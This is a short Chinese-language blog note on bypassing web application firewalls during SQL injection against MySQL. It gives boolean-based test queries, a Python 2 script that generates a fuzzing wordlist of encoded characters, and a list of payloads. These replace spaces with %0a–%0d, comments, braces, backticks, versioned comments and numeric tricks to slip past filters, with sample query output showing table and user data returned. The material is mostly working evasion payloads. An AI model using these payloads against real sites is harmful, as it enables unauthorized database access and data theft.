今天朋友分享了一些常見的,和一些通用waf的繞過姿式,看一下,作一下記錄
我這裏以空格爲例子,mysql中當語句爲以下的時候返回不一樣python
mysql> select * from users where user_id='1' and 1=1; +---------+-------+-----------+ | user_id | user | password | +---------+-------+-----------+ | 1 | admin | admintest | +---------+-------+-----------+ 1 row in set (0.29 sec) mysql> select * from users where user_id='1' and 1=2; Empty set (0.00 sec)
在firefox中用hackbar測試這裏空格被url編碼了爲%20
這裏我本身寫了個腳本,生成了一系列各類符號的url編碼,ascii碼值,用於fuzzmysql
import sys save_file = sys.argv[1] pre = '0x' num = [1,2,3,4,5,6,7,8,9] word = ['QWERTYUIOPLKJHGFDSAZXCVBNMqwertyuioplkjhgfdsazxcvbnm'] with open(save_file,'wb') as file: for i in range(0,52): for n in word: tar = '0' + n[i] + '\n' file.write(tar) for a in num: res = str(pre) + str(a) + n[i] + '\n' print res file.write(res)
這裏以空格爲例子
對這裏的20進行爆破,加載上面生成的字典
這裏能夠看到%0a-d均可以代替進行繞過sql
payload select{user table_name}from{users information_schema.tables}; 返回所有表 符號 + /**/ () 0x90等 select .1from users; /*!50000select*/user from users; select 0e1from users; select version%0b() select`version()` select`version`%0b() mysql> select`user`from`users`; +-------+ | user | +-------+ | admin | | test | | sp4rk | | qwer | +-------+ 4 rows in set (0.00 sec)